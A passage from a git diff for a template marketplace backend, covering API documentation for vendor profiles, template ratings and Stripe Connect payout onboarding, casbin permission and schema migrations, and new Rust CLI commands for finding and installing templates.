+`payout_ready = true` only when:
+- `verification_status == "verified"`
+- `onboarding_status == "completed"`
+- `payouts_enabled == true`
+- `payout_provider != null`
+
+---
+
+# 1. Public vendor page
+
+## GET `/api/vendors/{vendor}`
+
+Returns the public vendor profile and the vendor's approved marketplace templates.
+
+### Path param
+
+| Name | Type | Required | Notes |
+|---|---|---:|---|
+| `vendor` | string | yes | Public vendor slug is preferred. Current backend also supports fallback lookup by `creator_user_id`, but frontend should use the slug. |
+
+### Query params
+
+| Name | Type | Required | Allowed |
+|---|---|---:|---|
+| `sort` | string | no | `recent`, `popular`, `rating` |
+
+### Auth
+
+None.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "vendor": {
+      "creator_user_id": "vendor_acme",
+      "slug": "acme-cloud",
+      "display_name": "Acme Cloud",
+      "bio": "Production-ready app stacks for small teams.",
+      "avatar_url": "https://cdn.trydirect.test/vendors/acme/avatar.png",
+      "website_url": "https://acme.example",
+      "verified": true,
+      "rating": 4.0,
+      "rating_count": 3,
+      "rating_scale": 5,
+      "metadata": {
+        "country": "DE",
+        "support_email": "support@acme.example"
+      },
+      "created_at": "2026-07-18T12:00:00Z"
+    },
+    "templates": [
+      {
+        "id": "3ec49835-3950-44e2-b289-0d725d310902",
+        "creator_user_id": "vendor_acme",
+        "creator_name": "Acme Cloud",
+        "name": "WordPress Pro",
+        "slug": "wordpress-pro",
+        "short_description": "Production WordPress stack",
+        "long_description": "A hardened WordPress stack for teams.",
+        "status": "approved",
+        "vendor_url": "https://acme.example",
+        "tags": ["wordpress", "cms"],
+        "tech_stack": {
+          "runtime": "php",
+          "database": "mysql"
+        },
+        "view_count": 0,
+        "deploy_count": 0,
+        "created_at": "2026-07-18T12:00:00Z",
+        "updated_at": "2026-07-18T12:00:00Z",
+        "approved_at": "2026-07-18T12:00:00Z",
+        "verifications": {},
+        "infrastructure_requirements": {},
+        "public_ports": null,
+        "required_plan_name": null,
+        "price": null,
+        "billing_cycle": null,
+        "currency": null,
+        "rating": 4.5,
+        "rating_count": 2,
+        "rating_scale": 5
+      }
+    ]
+  }
+}
+```
+
+### Notes
+
+- Only **approved** templates are returned.
+- Draft/submitted/rejected templates are excluded.
+- Sensitive payout/account linkage fields are **not** exposed publicly.
+- Public vendor metadata excludes the internal `onboarding` metadata subtree.
+- Public `rating` values are normalized to a 1-5 star scale and use only visible `Application` ratings.
+- `rating_count` is the number of visible `Application` ratings behind the average.
+
+### Error responses
+
+#### 404 Vendor not found
+
+```json
+{
+  "message": "Vendor not found"
+}
+```
+
+### Frontend usage
+
+Use this endpoint to build a public vendor page:
+- vendor header
+- avatar/logo
+- bio/about section
+- website link
+- vendor template grid/list
+
+---
+
+# 2. Template ratings
+
+These endpoints are the preferred way for frontend code to rate marketplace templates. They hide the internal `product_id` / `rating.obj_id` mapping.
+
+## GET `/api/templates/{templateId}/rating/summary`
+
+Returns public rating summary for an approved template.
+
+### Auth
+
+None.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "template_id": "3ec49835-3950-44e2-b289-0d725d310902",
+    "rating": 4.5,
+    "rating_count": 2,
+    "rating_scale": 5
+  }
+}
+```
+
+## GET `/api/templates/{templateId}/rating/me`
+
+Returns the authenticated user's own visible rating for a template.
+
+### Auth
+
+Bearer token required.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "template_id": "3ec49835-3950-44e2-b289-0d725d310902",
+    "rating_id": 42,
+    "rating": 5,
+    "rating_scale": 5,
+    "comment": "Excellent marketplace template",
+    "created_at": "2026-07-18T12:00:00Z",
+    "updated_at": "2026-07-18T12:00:00Z"
+  }
+}
+```
+
+## PUT `/api/templates/{templateId}/rating`
+
+Creates or updates the authenticated user's rating for a template.
+
+### Auth
+
+Bearer token required.
+
+### Request body
+
+```json
+{
+  "rating": 5,
+  "comment": "Excellent marketplace template"
+}
+```
+
+### Validation
+
+- `rating` is required and must be an integer from `1` to `5`.
+- `comment` is optional and must be at most 1000 characters.
+
+### Success response
+
+Same shape as `GET /api/templates/{templateId}/rating/me`.
+
+## DELETE `/api/templates/{templateId}/rating`
+
+Deletes the authenticated user's template rating from public averages by hiding it.
+
+### Auth
+
+Bearer token required.
+
+### Success response
+
+```json
+{
+  "message": "Rating deleted"
+}
+```
+
+### Notes
+
+- Frontend should use these template rating endpoints instead of generic `/rating` for marketplace template pages.
+- The backend resolves `templateId -> product_id -> rating.obj_id` internally.
+- Internally ratings are still stored on a 0-10 scale for compatibility; these endpoints expose a 1-5 star scale.
+- Public vendor/template averages use visible `Application` ratings only.
+
+---
+
+# 3. Creator self vendor profile
+
+## GET `/api/templates/mine/vendor-profile`
+
+Returns the authenticated creator's own vendor profile.
+
+### Auth
+
+Bearer token required.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "creator_user_id": "user_123",
+    "payout_ready": false,
+    "vendor_profile": {
+      "creator_user_id": "user_123",
+      "verification_status": "unverified",
+      "onboarding_status": "not_started",
+      "payouts_enabled": false,
+      "payout_provider": null,
+      "metadata": {},
+      "created_at": null,
+      "updated_at": null
+    }
+  }
+}
+```
+
+### Notes
+
+- If no DB row exists yet, the API returns a safe default profile.
+- `payout_account_ref` is intentionally not exposed in this creator-facing response.
+
+### Error responses
+
+#### 403 Authentication required
+
+```json
+{
+  "message": "Authentication required"
+}
+```
+
+---
+
+# 3. Creator template-scoped vendor profile status
+
+## GET `/api/templates/{templateId}/vendor-profile-status`
+
+Returns vendor profile status for the owner of a specific template.
+
+### Path param
+
+| Name | Type | Required |
+|---|---|---:|
+| `templateId` | UUID string | yes |
+
+### Auth
+
+Bearer token required.
+
+### Access rule
+
+Caller must own the template.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "template_id": "3ec49835-3950-44e2-b289-0d725d310902",
+    "creator_user_id": "user_123",
+    "payout_ready": true,
+    "vendor_profile": {
+      "creator_user_id": "user_123",
+      "verification_status": "verified",
+      "onboarding_status": "completed",
+      "payouts_enabled": true,
+      "payout_provider": "stripe_connect",
+      "metadata": {
+        "country": "DE"
+      },
+      "created_at": "2026-04-12T12:00:00Z",
+      "updated_at": "2026-04-12T12:05:00Z"
+    }
+  }
+}
+```
+
+### Error responses
+
+#### 400 Invalid UUID
+
+```json
+{
+  "message": "Invalid UUID"
+}
+```
+
+#### 403 Authentication required
+
+```json
+{
+  "message": "Authentication required"
+}
+```
+
+#### 403 Access denied
+
+```json
+{
+  "message": "Access denied"
+}
+```
+
+#### 404 Template not found
+
+```json
+{
+  "message": "Template not found"
+}
+```
+
+---
+
+# 4. Start creator onboarding
+
+## POST `/api/templates/mine/vendor-profile/onboarding-link`
+
+Starts or reuses a creator onboarding linkage.
+
+### Auth
+
+Bearer token required.
+
+### Request body
+
+No request body required.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "creator_user_id": "user_123",
+    "payout_ready": false,
+    "linkage_created": true,
+    "onboarding_url": "https://mock.payouts.local/onboarding/acct_mock_123",
+    "onboarding_expires_at": null,
+    "vendor_profile": {
+      "creator_user_id": "user_123",
+      "verification_status": "unverified",
+      "onboarding_status": "in_progress",
+      "payouts_enabled": false,
+      "payout_provider": "mock",
+      "metadata": {
+        "onboarding": {
+          "started_at": "2026-04-12T12:00:00Z",
+          "last_link_requested_at": "2026-04-12T12:00:00Z",
+          "link_request_count": 1
+        }
+      },
+      "created_at": "2026-04-12T12:00:00Z",
+      "updated_at": "2026-04-12T12:00:00Z"
+    }
+  }
+}
+```
+
+### Notes
+
+- Provider is selected by backend config (`payouts.provider`).
+- Dev/test default uses `payout_provider = "mock"`.
+- Production can use `payout_provider = "stripe_connect"` with Stripe Connect account links.
+- Repeated calls can return `200 OK` with `linkage_created = false` when linkage already exists.
+
+### Error responses
+
+#### 403 Authentication required
+
+```json
+{
+  "message": "Authentication required"
+}
+```
+
+---
+
+# 5. Complete creator onboarding
+
+## POST `/api/templates/mine/vendor-profile/onboarding-complete`
+
+Marks onboarding as completed for the authenticated creator.
+
+### Auth
+
+Bearer token required.
+
+### Request body
+
+No request body required.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "creator_user_id": "user_123",
+    "payout_ready": false,
+    "completion_recorded": true,
+    "vendor_profile": {
+      "creator_user_id": "user_123",
+      "verification_status": "pending",
+      "onboarding_status": "completed",
+      "payouts_enabled": false,
+      "payout_provider": "mock",
+      "metadata": {
+        "onboarding": {
+          "started_at": "2026-04-12T12:00:00Z",
+          "completed_at": "2026-04-12T12:05:00Z",
+          "completion_source": "creator_api"
+        }
+      },
+      "created_at": "2026-04-12T12:00:00Z",
+      "updated_at": "2026-04-12T12:05:00Z"
+    }
+  }
+}
+```
+
+### Behavior
+
+- Idempotent.
+- If onboarding was already completed, the request still returns `200 OK` and `completion_recorded = false`.
+- If onboarding was never started, the endpoint returns `409`.
+
+### Error responses
+
+#### 403 Authentication required
+
+```json
+{
+  "message": "Authentication required"
+}
+```
+
+#### 409 Onboarding link must exist before completion
+
+```json
+{
+  "message": "Onboarding link must exist before completion"
+}
+```
+
+---
+
+# 6. Payout provider webhook
+
+## POST `/api/v1/marketplace/payouts/webhook`
+
+Receives payout-provider webhook events. Currently implemented for Stripe Connect `account.updated` events.
+
+### Auth
+
+No bearer token. The endpoint is public for provider delivery, but Stripe payloads are verified with `Stripe-Signature` when `STRIPE_WEBHOOK_SECRET` / `PAYOUT_STRIPE_WEBHOOK_SECRET` is configured.
+
+### Headers
+
+```http
+Stripe-Signature: t=...,v1=...
+```
+
+### Behavior
+
+For Stripe Connect:
+
+- Ignores unsupported event types.
+- Handles `account.updated`.
+- Reads `data.object.id` as the connected account id.
+- Reads `details_submitted` as onboarding completion state.
+- Reads `payouts_enabled` as provider payout capability.
+- Updates the matching vendor profile by `payout_provider = "stripe_connect"` and `payout_account_ref = account.id`.
+
+### Success responses
+
+```json
+{
+  "message": "Webhook processed"
+}
+```
+
+or for ignored event types:
+
+```json
+{
+  "message": "Webhook ignored"
+}
+```
+
+### Error responses
+
+Invalid signature / invalid payload returns `400`.
+
+---
+
+# 7. Admin update vendor profile
+
+## PATCH `/api/admin/templates/{templateId}/vendor-profile`
+
+Admin endpoint to create or update the template creator's vendor profile.
+
+### Path param
+
+| Name | Type | Required |
+|---|---|---:|
+| `templateId` | UUID string | yes |
+
+### Auth
+
+Admin bearer token required.
+
+### Request body
+
+All fields are optional, but at least one field must be provided.
+
+```json
+{
+  "verification_status": "pending",
+  "onboarding_status": "in_progress",
+  "payouts_enabled": false,
+  "payout_provider": "stripe_connect",
+  "payout_account_ref": "acct_123",
+  "metadata": {
+    "country": "NL"
+  }
+}
+```
+
+### Validation
+
+- body must not be empty
+- `metadata` must be a JSON object
+- `verification_status` must be one of:
+  - `unverified`
+  - `pending`
+  - `verified`
+  - `rejected`
+- `onboarding_status` must be one of:
+  - `not_started`
+  - `in_progress`
+  - `completed`
+
+### Success response
+
+```json
+{
+  "message": "Vendor profile updated"
+}
+```
+
+### Error responses
+
+#### 400 Invalid status or invalid body
+
+```json
+{
+  "message": "Invalid verification_status 'not-a-real-status'. Allowed values: unverified, pending, verified, rejected"
+}
+```
+
+```json
+{
+  "message": "No vendor profile fields provided"
+}
+```
+
+```json
+{
+  "message": "metadata must be a JSON object"
+}
+```
+
+#### 404 Template not found
+
+```json
+{
+  "message": "Template not found"
+}
+```
+
+#### 403 Forbidden
+
+Admin auth required.
+
+---
+
+# Public vendor object shape
+
+Used in `GET /api/vendors/{vendor}`.
+
+```ts
+export interface PublicVendorProfile {
+  creator_user_id: string;
+  slug: string | null;
+  display_name: string | null;
+  bio: string | null;
+  avatar_url: string | null;
+  website_url: string | null;
+  verified: boolean;
+  rating: number | null;
+  rating_count: number;
+  rating_scale: 5;
+  metadata: Record<string, unknown>;
+  created_at: string | null;
+}
+
+export interface PublicVendorTemplate {
+  id: string;
+  creator_user_id: string;
+  creator_name: string | null;
+  name: string;
+  slug: string;
+  short_description: string | null;
+  long_description: string | null;
+  status: string;
+  vendor_url: string | null;
+  tags: unknown;
+  tech_stack: unknown;
+  view_count: number | null;
+  deploy_count: number | null;
+  created_at: string | null;
+  updated_at: string | null;
+  approved_at: string | null;
+  rating: number | null;
+  rating_count: number;
+  rating_scale: 5;
+}
+
+export interface TemplateRatingSummary {
+  template_id: string;
+  rating: number | null;
+  rating_count: number;
+  rating_scale: 5;
+}
+
+export interface MyTemplateRating {
+  template_id: string;
+  rating_id: number;
+  rating: number;
+  rating_scale: 5;
+  comment: string | null;
+  created_at: string;
+  updated_at: string;
+}
+```
+
+---
+
+# Creator vendor profile object shape
+
+Used in creator self/status/onboarding responses.
+
+```ts
+export interface VendorProfile {
+  creator_user_id: string;
+  verification_status: 'unverified' | 'pending' | 'verified' | 'rejected';
+  onboarding_status: 'not_started' | 'in_progress' | 'completed';
+  payouts_enabled: boolean;
+  payout_provider: string | null;
+  metadata: Record<string, unknown>;
+  created_at: string | null;
+  updated_at: string | null;
+}
+```
+
+---
+
+# Frontend implementation notes
+
+## Public vendor page
+
+Recommended flow:
+1. route user to `/vendors/:slug`
+2. call `GET /api/vendors/:slug`
+3. render:
+   - avatar/logo
+   - display name
+   - bio
+   - website link
+   - approved template cards
+
+## Creator dashboard
+
+Recommended flow:
+1. call `GET /api/templates/mine/vendor-profile`
+2. if onboarding has not started, call `POST /api/templates/mine/vendor-profile/onboarding-link`
+3. once onboarding is complete, call `POST /api/templates/mine/vendor-profile/onboarding-complete`
+4. use `payout_ready` as the main CTA state signal
+
+## Payout provider configuration
+
+The onboarding endpoints are backed by a provider abstraction.
+
+- `mock` is the default for dev/test and returns a mock onboarding URL.
+- `stripe_connect` creates/reuses Stripe Express accounts and returns Stripe account onboarding links.
+
+Runtime config:
+
+```yaml
+payouts:
+  provider: mock # or stripe_connect
+  stripe_api_base_url: https://api.stripe.com
+  onboarding_return_url: https://stacker.try.direct/marketplace/vendor/onboarding/return
+  onboarding_refresh_url: https://stacker.try.direct/marketplace/vendor/onboarding/refresh
+  timeout_secs: 15
+```
+
+Secrets must come from environment variables:
+
+```bash
+STACKER_PAYOUT_PROVIDER=stripe_connect
+STRIPE_SECRET_KEY=sk_live_...
+STRIPE_WEBHOOK_SECRET=whsec_...
+```
+
+Frontend should use the returned `onboarding_url` rather than assuming a provider-specific URL format.
+
+Stripe webhook target:
+
+```text
+POST https://<stacker-public-host>/api/v1/marketplace/payouts/webhook
+```
diff --git a/migrations/20260613090000_casbin_marketplace_template_install.down.sql b/migrations/20260613090000_casbin_marketplace_template_install.down.sql
new file mode 100644
index 00000000..e8599975
--- /dev/null
+++ b/migrations/20260613090000_casbin_marketplace_template_install.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_user'
+  AND v1 IN ('/api/templates/:slug/install', '/api/v1/templates/:slug/install')
+  AND v2 = 'POST';
diff --git a/migrations/20260613090000_casbin_marketplace_template_install.up.sql b/migrations/20260613090000_casbin_marketplace_template_install.up.sql
new file mode 100644
index 00000000..d13fc445
--- /dev/null
+++ b/migrations/20260613090000_casbin_marketplace_template_install.up.sql
@@ -0,0 +1,5 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_user', '/api/templates/:slug/install', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/v1/templates/:slug/install', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260613145000_casbin_marketplace_applications_search.down.sql b/migrations/20260613145000_casbin_marketplace_applications_search.down.sql
new file mode 100644
index 00000000..520ea2f5
--- /dev/null
+++ b/migrations/20260613145000_casbin_marketplace_applications_search.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_user'
+  AND v1 = '/api/v1/marketplace/applications'
+  AND v2 = 'GET';
diff --git a/migrations/20260613145000_casbin_marketplace_applications_search.up.sql b/migrations/20260613145000_casbin_marketplace_applications_search.up.sql
new file mode 100644
index 00000000..e2739c72
--- /dev/null
+++ b/migrations/20260613145000_casbin_marketplace_applications_search.up.sql
@@ -0,0 +1,4 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_user', '/api/v1/marketplace/applications', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718121000_add_public_vendor_profile_fields.down.sql b/migrations/20260718121000_add_public_vendor_profile_fields.down.sql
new file mode 100644
index 00000000..d2e8ddac
--- /dev/null
+++ b/migrations/20260718121000_add_public_vendor_profile_fields.down.sql
@@ -0,0 +1,8 @@
+DROP INDEX IF EXISTS marketplace_vendor_profile_public_slug_unique;
+
+ALTER TABLE marketplace_vendor_profile
+DROP COLUMN IF EXISTS website_url,
+DROP COLUMN IF EXISTS avatar_url,
+DROP COLUMN IF EXISTS bio,
+DROP COLUMN IF EXISTS display_name,
+DROP COLUMN IF EXISTS public_slug;
diff --git a/migrations/20260718121000_add_public_vendor_profile_fields.up.sql b/migrations/20260718121000_add_public_vendor_profile_fields.up.sql
new file mode 100644
index 00000000..41c55081
--- /dev/null
+++ b/migrations/20260718121000_add_public_vendor_profile_fields.up.sql
@@ -0,0 +1,10 @@
+ALTER TABLE marketplace_vendor_profile
+ADD COLUMN IF NOT EXISTS public_slug VARCHAR(100),
+ADD COLUMN IF NOT EXISTS display_name VARCHAR(255),
+ADD COLUMN IF NOT EXISTS bio TEXT,
+ADD COLUMN IF NOT EXISTS avatar_url TEXT,
+ADD COLUMN IF NOT EXISTS website_url TEXT;
+
+CREATE UNIQUE INDEX IF NOT EXISTS marketplace_vendor_profile_public_slug_unique
+ON marketplace_vendor_profile (public_slug)
+WHERE public_slug IS NOT NULL;
diff --git a/migrations/20260718122000_casbin_public_vendor_profile_rule.down.sql b/migrations/20260718122000_casbin_public_vendor_profile_rule.down.sql
new file mode 100644
index 00000000..f0964fae
--- /dev/null
+++ b/migrations/20260718122000_casbin_public_vendor_profile_rule.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_anonymous'
+  AND v1 = '/api/vendors/:vendor'
+  AND v2 = 'GET';
diff --git a/migrations/20260718122000_casbin_public_vendor_profile_rule.up.sql b/migrations/20260718122000_casbin_public_vendor_profile_rule.up.sql
new file mode 100644
index 00000000..e71c90c7
--- /dev/null
+++ b/migrations/20260718122000_casbin_public_vendor_profile_rule.up.sql
@@ -0,0 +1,3 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_anonymous', '/api/vendors/:vendor', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718123000_casbin_template_rating_rules.down.sql b/migrations/20260718123000_casbin_template_rating_rules.down.sql
new file mode 100644
index 00000000..4c45be28
--- /dev/null
+++ b/migrations/20260718123000_casbin_template_rating_rules.down.sql
@@ -0,0 +1,8 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 IN (
+    '/api/templates/:id/rating/summary',
+    '/api/templates/:id/rating/me',
+    '/api/templates/:id/rating'
+  )
+  AND v2 IN ('GET', 'PUT', 'DELETE');
diff --git a/migrations/20260718123000_casbin_template_rating_rules.up.sql b/migrations/20260718123000_casbin_template_rating_rules.up.sql
new file mode 100644
index 00000000..7b361478
--- /dev/null
+++ b/migrations/20260718123000_casbin_template_rating_rules.up.sql
@@ -0,0 +1,27 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_anonymous', '/api/templates/:id/rating/summary', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/:id/rating/me', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/:id/rating', 'PUT', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/:id/rating', 'DELETE', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/:id/rating/me', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/:id/rating', 'PUT', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/:id/rating', 'DELETE', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718124000_casbin_payout_webhook_rule.down.sql b/migrations/20260718124000_casbin_payout_webhook_rule.down.sql
new file mode 100644
index 00000000..a2a4c1d8
--- /dev/null
+++ b/migrations/20260718124000_casbin_payout_webhook_rule.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_anonymous'
+  AND v1 = '/api/v1/marketplace/payouts/webhook'
+  AND v2 = 'POST';
diff --git a/migrations/20260718124000_casbin_payout_webhook_rule.up.sql b/migrations/20260718124000_casbin_payout_webhook_rule.up.sql
new file mode 100644
index 00000000..95827eeb
--- /dev/null
+++ b/migrations/20260718124000_casbin_payout_webhook_rule.up.sql
@@ -0,0 +1,3 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_anonymous', '/api/v1/marketplace/payouts/webhook', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718125000_rating_unique_visible_user_obj_category.down.sql b/migrations/20260718125000_rating_unique_visible_user_obj_category.down.sql
new file mode 100644
index 00000000..6dd59f53
--- /dev/null
+++ b/migrations/20260718125000_rating_unique_visible_user_obj_category.down.sql
@@ -0,0 +1 @@
+DROP INDEX IF EXISTS rating_visible_user_obj_category_unique;
diff --git a/migrations/20260718125000_rating_unique_visible_user_obj_category.up.sql b/migrations/20260718125000_rating_unique_visible_user_obj_category.up.sql
new file mode 100644
index 00000000..7190ac04
--- /dev/null
+++ b/migrations/20260718125000_rating_unique_visible_user_obj_category.up.sql
@@ -0,0 +1,12 @@
+DELETE FROM rating a
+USING rating b
+WHERE a.id > b.id
+  AND a.hidden = false
+  AND b.hidden = false
+  AND a.user_id = b.user_id
+  AND a.obj_id = b.obj_id
+  AND a.category = b.category;
+
+CREATE UNIQUE INDEX IF NOT EXISTS rating_visible_user_obj_category_unique
+ON rating (user_id, obj_id, category)
+WHERE hidden = false;
diff --git a/migrations/20260718126000_backfill_vendor_public_slug.down.sql b/migrations/20260718126000_backfill_vendor_public_slug.down.sql
new file mode 100644
index 00000000..11357038
--- /dev/null
+++ b/migrations/20260718126000_backfill_vendor_public_slug.down.sql
@@ -0,0 +1,9 @@
+-- Revert: clear auto-generated slugs.
+-- Only clears slugs that look like the auto-generated format (no custom slugs).
+-- Custom slugs set via the API won't match the creator_user_id pattern.
+UPDATE marketplace_vendor_profile
+SET public_slug = NULL
+WHERE public_slug = LEFT(
+    REGEXP_REPLACE(LOWER(creator_user_id), '[^a-z0-9]+', '-', 'g'),
+    100
+);
diff --git a/migrations/20260718126000_backfill_vendor_public_slug.up.sql b/migrations/20260718126000_backfill_vendor_public_slug.up.sql
new file mode 100644
index 00000000..e4ab2243
--- /dev/null
+++ b/migrations/20260718126000_backfill_vendor_public_slug.up.sql
@@ -0,0 +1,13 @@
+-- Backfill public_slug for existing vendor profiles that don't have one.
+-- Derives a slug from creator_user_id: lowercase, replace non-alphanumeric
+-- chars with hyphens, strip leading/trailing hyphens, cap at 100 chars.
+-- Vendors can change this via PATCH /api/templates/mine/vendor-profile.
+UPDATE marketplace_vendor_profile
+SET public_slug = LEFT(
+    REGEXP_REPLACE(
+        LOWER(creator_user_id),
+        '[^a-z0-9]+', '-', 'g'
+    ),
+    100
+)
+WHERE public_slug IS NULL;
diff --git a/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.down.sql b/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.down.sql
new file mode 100644
index 00000000..84a443c8
--- /dev/null
+++ b/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE v0 IN ('group_user', 'group_admin')
+  AND v1 = '/api/templates/mine/vendor-profile'
+  AND v2 = 'PATCH';
diff --git a/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.up.sql b/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.up.sql
new file mode 100644
index 00000000..a4dd18e2
--- /dev/null
+++ b/migrations/20260718127000_casbin_self_vendor_profile_patch_rule.up.sql
@@ -0,0 +1,7 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/mine/vendor-profile', 'PATCH', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/mine/vendor-profile', 'PATCH', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.down.sql b/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.down.sql
new file mode 100644
index 00000000..283f7774
--- /dev/null
+++ b/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/api/admin/vendors/:creator_user_id/vendor-profile'
+  AND v2 = 'PATCH';
diff --git a/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.up.sql b/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.up.sql
new file mode 100644
index 00000000..00152454
--- /dev/null
+++ b/migrations/20260718128000_casbin_admin_vendor_profile_by_creator_rule.up.sql
@@ -0,0 +1,5 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_admin',   '/api/admin/vendors/:creator_user_id/vendor-profile', 'PATCH', '', '', ''),
+    ('p', 'admin_service', '/api/admin/vendors/:creator_user_id/vendor-profile', 'PATCH', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260718129000_casbin_admin_vendors_list_rule.down.sql b/migrations/20260718129000_casbin_admin_vendors_list_rule.down.sql
new file mode 100644
index 00000000..232fc402
--- /dev/null
+++ b/migrations/20260718129000_casbin_admin_vendors_list_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 IN ('/api/admin/vendors', '/stacker/api/admin/vendors')
+  AND v2 = 'GET';
diff --git a/migrations/20260718129000_casbin_admin_vendors_list_rule.up.sql b/migrations/20260718129000_casbin_admin_vendors_list_rule.up.sql
new file mode 100644
index 00000000..97136eb2
--- /dev/null
+++ b/migrations/20260718129000_casbin_admin_vendors_list_rule.up.sql
@@ -0,0 +1,7 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_admin',   '/api/admin/vendors',         'GET', '', '', ''),
+    ('p', 'admin_service', '/api/admin/vendors',         'GET', '', '', ''),
+    ('p', 'group_admin',   '/stacker/api/admin/vendors', 'GET', '', '', ''),
+    ('p', 'admin_service', '/stacker/api/admin/vendors', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/src/bin/stacker.rs b/src/bin/stacker.rs
index f404d882..12c7c9f9 100644
--- a/src/bin/stacker.rs
+++ b/src/bin/stacker.rs
@@ -161,6 +161,15 @@ enum StackerCommands {
         /// Revalidate and apply a previously generated deployment plan fingerprint
         #[arg(long, value_name = "FINGERPRINT", conflicts_with = "plan")]
         apply_plan: Option<String>,
+        /// Skip every shell hook (`pre_build`, `post_deploy`, `on_failure`)
+        /// regardless of whether stacker.yml is user-authored or generated.
+        /// CI-safe default for automated deploys.
+        #[arg(long)]
+        no_hooks: bool,
+        /// Run hook scripts even when stacker.yml was generated by the
+        /// marketplace. Only pass this after reviewing the hook scripts.
+        #[arg(long)]
+        allow_untrusted_hooks: bool,
     },
     /// Attach this directory to an existing deployment from the dashboard
     Connect {
@@ -189,6 +198,53 @@ enum StackerCommands {
         #[arg(long)]
         price: Option<f64>,
     },
+    /// Search marketplace application templates
+    Find {
+        /// Search query, e.g. "dify"
+        query: String,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+        /// Maximum number of results to return
+        #[arg(long)]
+        limit: Option<u32>,
+    },
+    /// List all available marketplace application templates
+    #[command(visible_alias = "catalog", visible_alias = "apps")]
+    Templates {
+        /// Filter by category code
+        #[arg(long)]
+        category: Option<String>,
+        /// Filter by tag
+        #[arg(long)]
+        tag: Option<String>,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
+    /// Create a project from a marketplace application template
+    Install {
+        /// Template slug from `stacker find`
+        template: String,
+        /// Project name override
+        #[arg(long)]
+        name: Option<String>,
+        /// Base domain for Install Service commonDomain, e.g. dify.com
+        #[arg(long, value_name = "DOMAIN")]
+        domain: Option<String>,
+        /// Install input override. Repeat as needed, e.g. --set admin_email=owner@example.com
